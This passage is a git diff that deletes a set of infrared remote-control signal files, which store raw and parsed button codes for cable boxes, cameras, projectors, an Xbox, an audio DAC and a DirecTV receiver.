5310 172 2321 175 3814 181 9815 172 7808 182 3808 176 2318 178 2315 181 3808 176 2317 179 5307 175 3815 180 2314 172 6811 180 5306 176 2317 179 3811 173 -# -name: Select -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 179 7802 179 6307 175 2319 178 10296 182 2312 174 12328 179 2297 179 10794 173 8309 181 7801 180 6305 177 2316 181 7799 181 2312 174 2319 178 14784 179 10795 172 8329 182 7798 183 6302 180 2313 173 7807 173 2320 177 2317 180 14782 181 10793 174 8327 173 7807 173 3816 179 2314 172 2322 175 7805 176 2318 179 2315 182 12304 182 2293 183 10791 176 -# -name: Chan_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 180 7803 177 6306 175 2319 177 9300 178 2315 181 3808 176 2317 179 9297 181 3810 174 15306 175 7808 172 3818 177 2317 179 2313 173 5314 179 3811 173 2320 177 3813 182 2312 174 9303 175 3815 180 5306 177 9819 178 7802 178 3812 172 2321 175 2318 179 9298 180 2314 182 3808 176 2317 179 9297 181 3809 175 -# -name: Chan_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 176 7807 172 3817 178 2315 181 2313 173 5313 180 3811 173 2319 177 5309 173 6810 181 2313 173 3816 179 5308 174 2319 177 8321 178 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 176 6806 174 2320 176 3813 182 5305 177 2316 180 8319 180 7801 179 3812 172 2321 175 2318 178 5307 175 3815 180 2314 172 5314 179 6804 177 2317 179 3810 174 5312 181 2313 173 8326 173 7807 172 3818 177 2316 180 2313 173 5314 179 3811 173 2320 176 5310 172 6811 180 2313 173 3817 178 5308 174 2320 176 8322 177 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 177 6806 175 2319 177 3812 172 5314 179 2315 181 -# -name: Prev -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 172 7810 180 8798 180 10826 181 7265 174 17320 179 11277 177 7805 175 8803 175 18278 179 15800 181 4308 176 8305 174 7809 181 8796 182 15795 175 2301 175 18797 180 1316 182 8299 180 7803 177 8801 177 13306 177 2316 180 2295 181 10811 175 2318 178 2315 181 1314 173 1323 175 1321 177 -# -name: 1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 178 7805 174 3816 178 2315 181 2312 174 5312 181 2314 182 6800 181 2313 173 6809 182 2310 176 5314 179 2314 172 2321 175 9821 176 7803 176 3814 180 2313 173 2320 176 5311 182 2311 175 6808 173 2321 175 9301 177 7804 176 2318 178 9817 180 7800 180 6305 176 2317 179 10810 176 1320 178 7802 178 1319 179 4808 175 2818 178 7286 173 -# -name: 2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 177 7805 174 3816 179 2315 181 2312 174 5312 181 2314 172 5313 180 3811 173 9304 174 5311 182 2312 174 3816 179 8320 179 7801 179 3812 172 2321 175 2318 178 5308 174 2320 176 5309 173 3817 178 6805 176 2318 178 5308 174 2319 177 3813 181 8318 181 7799 180 3810 174 2319 177 2316 180 5306 176 2318 178 5308 174 3815 179 6804 176 2317 179 5307 175 2318 178 3812 172 8327 172 7809 181 3809 175 2318 178 2315 181 5305 177 2316 180 9297 181 9296 182 7799 180 3810 174 -# -name: 3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7810 180 6304 177 2318 178 7801 178 7802 177 2317 179 28768 175 7808 182 6303 178 2315 181 18271 175 28776 177 7805 174 6310 181 2312 174 10815 181 7282 177 12311 173 7807 172 -# -name: 4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 7801 179 3812 172 2320 176 2318 178 7801 179 18792 175 11778 176 8326 173 7808 172 6311 181 2314 172 20294 181 1315 172 7808 182 17278 179 7804 175 8802 176 14803 179 5308 175 1321 177 7804 176 3814 181 -# -name: 5 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 174 7809 182 6302 180 2314 172 18281 177 28773 174 7809 182 6302 180 2313 173 18298 181 28752 174 7809 182 6302 180 2314 172 18281 177 9302 176 -# -name: 6 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7810 180 3810 174 2320 177 2317 179 5307 176 2317 179 3812 172 2320 176 3815 180 6800 181 2315 181 5305 203 5281 176 8327 172 7807 172 3818 177 2317 179 2314 172 5314 179 2315 181 3808 176 2318 178 3811 173 6810 181 2313 173 5313 180 5307 175 8323 176 7804 176 3815 179 2314 172 2321 175 5311 182 2312 174 3816 179 2314 182 3808 176 6806 175 2319 177 5309 173 5313 180 8320 179 7801 178 3811 173 2321 175 2318 178 5308 174 2319 177 3813 182 2312 174 3816 179 6804 177 2317 179 5307 176 5311 172 -# -name: 7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 7808 182 3809 175 2318 178 2315 181 5305 177 2316 180 3810 174 2319 177 2316 180 2313 173 1341 177 5291 181 2313 173 5313 179 4327 177 8306 172 7808 181 3809 175 2318 178 2315 181 5305 177 2317 179 3810 174 2320 176 2317 179 2314 182 9295 172 18301 176 7807 172 3818 177 2316 180 2313 173 7808 182 3808 176 2318 178 2315 181 2312 174 9303 174 -# -name: 8 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7809 181 8798 180 11824 182 2793 182 2329 178 4294 179 16780 178 8303 175 7807 173 8806 172 10302 174 25779 179 2297 179 8322 177 7803 177 6308 173 2320 176 10299 177 11310 176 4812 181 2811 174 1322 176 4812 181 2294 182 -# -name: 9 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 173 7809 181 3809 175 2318 178 2315 181 5305 178 2316 180 2314 172 7808 182 9295 172 9305 173 9823 175 7805 175 6310 182 2312 174 7806 174 2320 177 7804 176 9301 177 9300 178 9818 180 7800 180 3811 173 2320 177 2317 179 5307 176 2318 178 2315 181 5305 178 2316 180 6802 179 2315 181 6801 180 2315 181 -# -name: 0 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 176 7824 176 1320 178 2316 180 2330 177 2317 179 1316 182 1315 172 2285 180 2312 616 879 619 884 182 1309 178 1336 182 2293 172 6811 180 2314 182 5305 177 2316 180 2313 173 2321 175 8323 176 7805 174 3815 179 2314 182 2312 174 5312 181 2313 173 8307 172 6811 180 2313 173 5314 179 2315 181 2312 174 2319 178 8322 177 7803 176 3814 181 2313 173 2320 176 5310 172 2322 174 8304 175 6808 173 2321 175 5311 182 2312 174 2319 177 2316 180 diff --git a/assets/ir_optional_assets/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir b/assets/ir_optional_assets/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir deleted file mode 100644 index 1d8783f72..000000000 --- a/assets/ir_optional_assets/optional-assets/Cable Boxes/Telus/Telus_OptikTV.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 429 294 177 269 176 604 172 441 180 265 180 601 175 270 175 271 174 271 174 272 173 607 180 434 177 603 173 272 173 273 172 747 180 294 177 89406 428 296 175 271 174 606 181 404 181 293 178 602 174 271 174 272 173 273 172 274 171 609 178 435 176 576 180 294 172 274 181 738 178 295 176 -# -name: Guide -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 422 302 179 266 179 602 174 438 173 274 171 581 180 294 177 269 176 270 175 577 179 602 180 433 178 631 171 748 179 295 176 772 181 265 180 88599 426 298 173 273 172 581 180 461 176 270 175 578 178 296 180 266 179 267 178 602 174 578 178 463 179 574 176 799 179 267 178 742 179 294 172 -# -name: Back_exit -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 426 298 173 273 172 608 179 435 176 270 175 605 171 274 181 265 180 266 179 573 177 631 182 404 176 632 175 577 179 296 180 266 179 768 174 88781 430 267 178 295 176 604 172 413 177 297 179 574 176 297 174 272 173 273 172 608 179 602 174 411 179 601 181 628 174 272 173 273 172 747 180 88810 427 297 174 272 173 608 179 434 177 269 176 605 171 274 181 265 180 266 179 573 177 604 178 463 179 574 182 627 180 266 179 267 178 770 172 -# -name: Menu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 429 295 176 270 175 605 182 432 179 267 178 574 182 292 174 272 173 273 172 274 181 599 177 435 176 605 171 413 177 464 178 408 177 297 174 89437 425 298 173 273 172 609 178 407 178 296 175 606 181 265 180 266 179 266 179 267 178 575 181 460 171 609 178 435 176 410 180 433 178 296 180 89428 423 300 181 265 180 600 176 409 181 293 173 607 180 266 179 267 178 268 177 269 176 576 180 461 181 600 176 436 175 438 173 441 180 265 180 -# -name: PVR -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 430 294 177 269 176 604 172 441 180 265 180 601 175 270 175 271 174 271 174 607 180 600 176 409 181 599 177 435 181 293 178 435 176 270 175 89260 427 297 174 272 173 579 177 464 178 268 177 575 181 293 173 273 172 274 181 571 179 628 174 439 172 608 179 407 178 295 176 437 174 272 173 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 429 295 176 269 176 577 179 434 177 297 179 573 177 296 175 271 174 272 173 579 177 604 177 435 181 600 176 437 179 434 177 603 179 296 180 88921 423 302 179 266 179 602 174 410 180 294 172 609 178 268 177 269 176 269 176 605 171 609 178 407 178 603 179 462 180 434 177 604 172 273 172 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 421 303 178 267 178 602 174 439 172 274 181 599 177 268 177 269 176 270 175 270 175 605 182 432 179 601 175 410 180 461 181 571 179 601 181 88939 427 297 174 272 173 607 180 406 179 295 176 604 172 273 172 274 181 265 180 266 179 601 175 437 174 579 177 464 178 436 175 605 171 581 180 -# -name: Ok -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 428 296 175 271 174 606 181 432 179 267 178 602 175 271 174 272 173 273 172 274 171 609 178 435 176 605 172 441 180 433 178 770 172 273 172 89102 429 295 176 270 175 577 179 462 180 266 179 602 175 271 174 272 173 272 173 273 172 609 178 435 176 605 171 441 180 433 178 770 172 273 172 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 427 297 174 272 173 607 180 433 178 268 177 604 172 273 172 274 181 264 181 600 176 603 173 440 181 599 177 436 175 438 173 608 179 769 173 88443 425 299 172 274 181 599 177 436 175 271 174 606 181 266 179 266 179 267 178 603 173 579 177 464 178 575 181 460 171 442 179 573 177 798 180 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 429 295 176 270 175 605 171 442 179 266 179 602 174 271 174 272 173 273 172 274 171 609 178 436 175 605 171 442 179 434 177 604 172 440 181 89098 423 301 180 266 179 601 175 410 180 294 172 608 179 268 177 268 177 269 176 270 175 605 182 432 179 573 177 436 180 461 181 572 178 435 181 -# -name: Ch_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 423 300 181 265 180 572 179 462 175 271 174 579 177 297 179 266 179 267 178 602 174 578 178 463 179 574 176 297 174 578 178 296 180 266 179 89260 428 296 175 271 174 578 178 463 179 267 178 603 173 272 173 273 172 274 181 571 179 629 173 439 182 571 179 294 177 576 180 294 172 274 181 -# -name: Ch_down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 424 272 178 268 177 603 178 462 175 244 180 600 176 297 179 238 181 265 180 294 177 575 181 433 178 630 177 241 178 602 180 266 179 434 177 89460 425 299 172 246 178 630 177 436 175 243 181 627 180 238 176 297 179 239 180 266 179 601 181 433 178 602 180 266 179 629 173 273 172 413 177 -# -name: 1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 425 300 181 264 181 600 176 436 175 271 174 607 180 266 179 267 178 268 177 269 176 604 172 441 180 600 176 269 176 270 175 271 174 439 172 89773 424 300 181 265 180 600 176 437 174 272 173 607 180 266 179 267 178 268 177 268 177 604 172 440 181 599 177 269 176 270 175 270 175 410 180 -# -name: 2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 424 272 178 296 180 572 179 462 175 243 181 627 180 238 176 297 179 267 178 603 174 579 177 436 180 628 174 244 180 265 180 294 172 581 180 89292 431 265 180 266 179 601 181 433 178 296 180 572 179 267 178 268 177 268 177 604 178 603 179 434 177 631 182 264 181 237 177 269 176 604 178 -# -name: 3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 424 300 181 265 180 600 176 409 181 293 173 607 180 266 179 267 178 268 177 269 176 604 172 440 181 600 176 269 176 270 175 270 175 773 179 89438 423 301 180 266 179 573 177 464 173 273 172 608 179 267 178 268 177 269 176 270 175 605 182 404 176 605 177 297 174 272 173 272 173 775 178 -# -name: 4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 428 268 177 297 174 578 178 464 178 268 177 603 173 272 173 273 172 274 181 599 177 575 181 460 171 609 178 268 177 268 177 408 177 297 174 89451 422 302 179 267 178 574 176 464 173 273 172 581 180 293 178 268 177 269 176 604 172 580 181 460 177 604 172 273 172 274 181 404 181 293 178 -# -name: 5 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 431 266 179 293 178 575 181 432 179 295 181 571 180 266 179 295 176 269 176 270 175 605 182 431 180 573 177 296 175 271 174 411 179 462 180 89592 426 298 173 245 179 601 181 432 179 267 178 602 180 294 172 274 181 265 180 266 179 573 178 435 181 600 177 297 179 239 180 433 178 463 174 -# -name: 6 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 431 293 178 268 177 603 173 440 181 265 180 600 176 269 176 270 175 271 174 606 181 599 177 436 175 578 178 296 180 266 179 434 177 603 173 89118 422 303 178 267 178 603 173 439 172 274 181 599 177 269 176 270 175 271 174 606 181 600 176 436 175 606 181 265 180 266 179 435 176 605 171 -# -name: 7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 423 274 176 268 177 631 177 409 181 264 181 628 180 266 179 266 179 267 178 239 180 600 182 459 172 580 176 270 180 265 180 461 176 744 178 89295 427 297 174 271 174 579 177 436 180 294 177 603 174 244 180 294 172 274 171 274 181 571 180 434 177 603 179 267 178 268 177 464 178 769 173 -# -name: 8 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 421 303 178 239 180 600 182 432 179 295 181 571 180 294 177 269 176 270 175 577 179 630 178 435 176 605 171 274 171 275 180 600 177 269 176 89269 428 267 178 296 175 577 179 463 179 238 181 600 177 297 174 243 181 293 173 579 177 632 176 437 174 579 177 297 179 238 181 628 175 271 174 -# -name: 9 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 431 293 178 240 179 601 181 433 178 296 180 572 179 296 175 270 175 271 174 272 173 579 177 465 177 575 181 293 173 274 171 581 180 461 176 89420 422 302 179 267 178 602 175 411 179 294 172 609 178 240 179 294 177 269 176 269 176 577 179 462 180 600 177 269 176 270 175 577 179 434 177 -# -name: 0 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 423 301 180 266 179 601 176 438 173 273 172 608 179 267 178 268 177 268 177 604 173 607 180 434 177 603 174 272 173 273 172 274 181 264 181 89589 426 298 173 273 172 608 179 434 177 269 176 604 173 273 172 273 172 274 181 599 178 602 175 439 172 608 179 267 178 267 178 268 177 269 176 -# -name: Prev_ch -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 431 293 178 268 177 603 174 439 172 274 181 599 178 268 177 269 176 270 175 271 174 606 181 404 176 632 176 270 175 271 174 606 181 600 176 89267 427 297 174 271 174 607 180 433 178 268 177 576 180 294 172 274 171 275 180 265 180 600 177 437 174 606 181 265 180 266 179 602 175 605 171 -# -name: Rec -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 429 295 176 270 175 606 181 432 179 267 178 574 182 292 174 273 172 273 172 581 180 628 175 438 173 580 176 298 178 770 172 441 180 767 175 88427 430 294 177 269 176 605 171 441 180 266 179 573 178 296 175 271 174 272 173 607 180 573 178 464 173 579 177 297 179 769 173 412 178 797 176 -# -name: Info -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 431 294 177 269 176 604 172 441 180 266 179 601 176 270 175 271 174 272 173 272 173 608 179 434 177 603 174 273 172 273 172 776 177 743 179 88967 429 295 176 242 177 631 182 432 179 266 179 574 177 297 174 272 173 272 173 273 172 608 179 434 177 576 180 294 172 274 181 766 176 772 181 -# -name: Rewind -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 510 187 180 292 174 606 181 433 178 268 177 575 181 293 173 273 172 274 181 264 181 572 179 434 177 603 179 296 180 572 179 630 172 412 178 89121 423 302 179 266 179 601 176 410 180 293 173 580 176 298 178 268 177 268 177 269 176 604 172 413 177 603 179 295 176 576 180 629 179 407 178 -# -name: Fast_fw -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 422 302 179 266 179 602 174 438 173 273 172 608 179 267 178 268 177 269 176 604 172 608 179 434 177 604 172 273 172 608 179 602 174 271 174 88952 426 300 171 275 180 600 176 436 175 272 173 607 180 267 178 268 177 269 176 604 172 608 179 435 176 604 172 274 181 599 177 603 173 272 173 -# -name: Jump_back -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 425 299 172 274 181 571 180 462 175 271 174 606 181 265 180 266 179 267 178 602 175 578 178 463 179 574 177 437 179 294 172 776 177 437 174 88767 426 298 173 245 179 629 179 434 177 269 176 576 180 294 172 274 181 265 180 572 179 630 172 441 180 600 176 409 181 292 174 746 181 461 176 -# -name: Jump_fwd -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 427 298 173 272 173 608 179 434 177 269 176 576 180 294 172 274 181 264 181 600 176 603 174 440 181 571 180 462 175 271 174 773 180 267 178 88938 430 295 176 269 176 605 171 441 180 266 179 601 176 271 174 271 174 272 173 608 179 573 177 464 173 580 176 465 177 269 176 772 181 265 180 -# -name: Play_pause -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 422 302 179 267 178 602 175 439 172 274 171 609 178 268 177 269 176 270 175 270 175 606 181 432 179 573 178 297 174 773 180 266 179 267 178 89428 430 295 176 269 176 605 171 413 177 297 179 601 176 270 175 271 174 272 173 272 173 608 179 406 179 601 181 293 173 747 180 294 177 269 176 89432 426 298 173 273 172 580 176 465 177 269 176 577 179 295 181 265 180 265 180 266 179 574 177 464 173 607 180 266 179 769 173 272 173 273 172 89436 422 302 179 267 178 602 175 438 173 273 172 609 178 268 177 269 176 269 176 270 175 605 182 432 179 601 175 271 174 773 180 266 179 267 178 \ No newline at end of file diff --git a/assets/ir_optional_assets/optional-assets/Cameras/Sony/Nikon.ir b/assets/ir_optional_assets/optional-assets/Cameras/Sony/Nikon.ir deleted file mode 100644 index 87771989a..000000000 --- a/assets/ir_optional_assets/optional-assets/Cameras/Sony/Nikon.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Take_photo -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1989 27513 408 1569 386 3503 408 62013 1985 27517 404 1573 382 3506 405 diff --git a/assets/ir_optional_assets/optional-assets/Cameras/Sony/Sony.ir b/assets/ir_optional_assets/optional-assets/Cameras/Sony/Sony.ir deleted file mode 100644 index 0f618969f..000000000 --- a/assets/ir_optional_assets/optional-assets/Cameras/Sony/Sony.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Photo -type: parsed -protocol: SIRC20 -address: 3A 1E 00 00 -command: 2D 00 00 00 -# -name: Photo_2s -type: parsed -protocol: SIRC20 -address: 3A 1E 00 00 -command: 37 00 00 00 -# -name: Rec -type: parsed -protocol: SIRC20 -address: 3A 1E 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Casio-Projector_yt130.ir b/assets/ir_optional_assets/optional-assets/Casio-Projector_yt130.ir deleted file mode 100644 index 8d7506b3d..000000000 --- a/assets/ir_optional_assets/optional-assets/Casio-Projector_yt130.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 0B F4 00 00 -# -name: Input -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 0A F5 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 0C F3 00 00 -# -name: Zoom_up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1B E4 00 00 -# -name: Zoom_dwn -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1A E5 00 00 -# -name: Focus_up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1D E2 00 00 -# -name: Focus_dwn -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 1C E3 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4A B5 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4B B4 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4D B2 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4E B1 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 4C B3 00 00 -# -name: Keyst_up -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 2A D5 00 00 -# -name: Keyst_d -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 2D D2 00 00 -# -name: Auto -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 5B A4 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 5C A3 00 00 -# -name: Eco -type: parsed -protocol: NECext -address: 84 F4 00 00 -command: 3C C3 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Consoles/Microsoft/Xbox.ir b/assets/ir_optional_assets/optional-assets/Consoles/Microsoft/Xbox.ir deleted file mode 100644 index 948d0410c..000000000 --- a/assets/ir_optional_assets/optional-assets/Consoles/Microsoft/Xbox.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Xbox_power -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 2F D0 00 00 -# -name: Xbox_up -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 1E E1 00 00 -# -name: Xbox_down -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 1F E0 00 00 -# -name: Xbox_left -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 20 DF 00 00 -# -name: Xbox_right -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 21 DE 00 00 -# -name: Xbox_select -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 22 DD 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir b/assets/ir_optional_assets/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir deleted file mode 100644 index 4d136060c..000000000 --- a/assets/ir_optional_assets/optional-assets/Converters/RME/RME_ADI-2_DAC_FS.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 20 DF 00 00 -# -name: SEL -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 35 CA 00 00 -# -name: BT -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 2B D4 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 2C D3 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 2D D2 00 00 -# -name: Bass_up -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 2F D0 00 00 -# -name: Bass_down -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 30 CF 00 00 -# -name: Treble_up -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 31 CE 00 00 -# -name: Treble_down -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 32 CD 00 00 -# -name: Volume_up -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 22 DD 00 00 -# -name: Volume_down -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 21 DE 00 00 -# -name: VOL -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 2E D1 00 00 -# -name: Channl_L -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 33 CC 00 00 -# -name: Channel_R -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 34 CB 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 23 DC 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 24 DB 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 25 DA 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 26 D9 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 27 D8 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 28 D7 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 29 D6 00 00 -# -name: Buttom_mute -type: parsed -protocol: NECext -address: 12 34 00 00 -command: 2A D5 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Converters/ReadMe.md b/assets/ir_optional_assets/optional-assets/Converters/ReadMe.md deleted file mode 100644 index ab11a21b7..000000000 --- a/assets/ir_optional_assets/optional-assets/Converters/ReadMe.md +++ /dev/null @@ -1 +0,0 @@ -Digital and/or analog converters diff --git a/assets/ir_optional_assets/optional-assets/Cv610_remote.ir b/assets/ir_optional_assets/optional-assets/Cv610_remote.ir deleted file mode 100644 index 82964133d..000000000 --- a/assets/ir_optional_assets/optional-assets/Cv610_remote.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: Pan_up -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 05 00 00 00 -# -name: Pan_down -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: Pan_right -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: Pan_left -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 08 00 00 00 -# -name: Zoom_in -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 41 00 00 00 -# -name: Zoom_out -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 1E 00 00 00 -# -name: Menu -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 43 00 00 00 -# -name: 1 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0C 00 00 00 -# -name: 2 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 10 00 00 00 -# -name: 5 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 12 00 00 00 -# -name: 7 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 19 00 00 00 -# -name: 9 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 16 00 00 00 -# -name: 0 -type: parsed -protocol: NEC -address: 44 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Da_lite_proj_scrn.ir b/assets/ir_optional_assets/optional-assets/Da_lite_proj_scrn.ir deleted file mode 100644 index c6037b75a..000000000 --- a/assets/ir_optional_assets/optional-assets/Da_lite_proj_scrn.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 226 7356 231 7350 227 4756 222 4761 227 4756 222 4761 227 4756 232 4750 228 4756 222 4761 227 7353 224 -# -name: Stop -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 231 7350 226 4757 231 4752 226 4757 231 4752 226 4758 230 4753 225 4758 230 4753 225 7356 231 7350 226 59177 227 7354 222 4761 227 4756 222 4761 227 4756 222 4761 227 4756 222 4762 226 4757 221 7360 227 7354 222 59180 224 7357 230 4753 225 4759 229 4754 224 4759 229 4754 224 4759 229 4754 224 4760 228 7352 225 7357 230 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 222 7359 227 7353 223 4760 228 4756 222 4761 227 4756 222 4762 226 4757 231 4752 225 7355 231 4752 226 59177 224 7357 230 7351 225 4758 230 4753 225 4758 230 4753 225 4759 229 4753 225 4759 229 7352 224 4759 229 59173 228 7353 223 7358 229 4754 223 4760 228 4755 222 4761 227 4756 222 4761 227 4756 222 7360 226 4756 222 diff --git a/assets/ir_optional_assets/optional-assets/Direct_tv.ir b/assets/ir_optional_assets/optional-assets/Direct_tv.ir deleted file mode 100644 index c8098b59c..000000000 --- a/assets/ir_optional_assets/optional-assets/Direct_tv.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power_on -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 177 7806 174 1352 177 2284 181 2311 175 2318 179 5309 174 2319 178 2316 181 3809 176 3815 180 6803 178 2315 182 6801 180 3809 176 8324 176 7804 177 3813 172 2321 176 2318 179 5308 175 2318 179 2315 182 3808 177 3813 182 6801 180 2313 173 6809 172 3818 177 8322 178 7802 178 3811 174 2320 177 2316 181 5306 177 2316 181 2313 173 3817 178 3811 174 6809 172 2321 176 6807 175 3815 180 -# -name: Power_off -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 182 7800 180 3810 201 2291 180 2316 181 5306 177 2316 181 2313 173 3818 177 2313 173 2322 175 6808 173 2320 177 6807 174 11315 182 7801 179 3811 174 2319 178 2316 181 5306 177 2316 181 2313 173 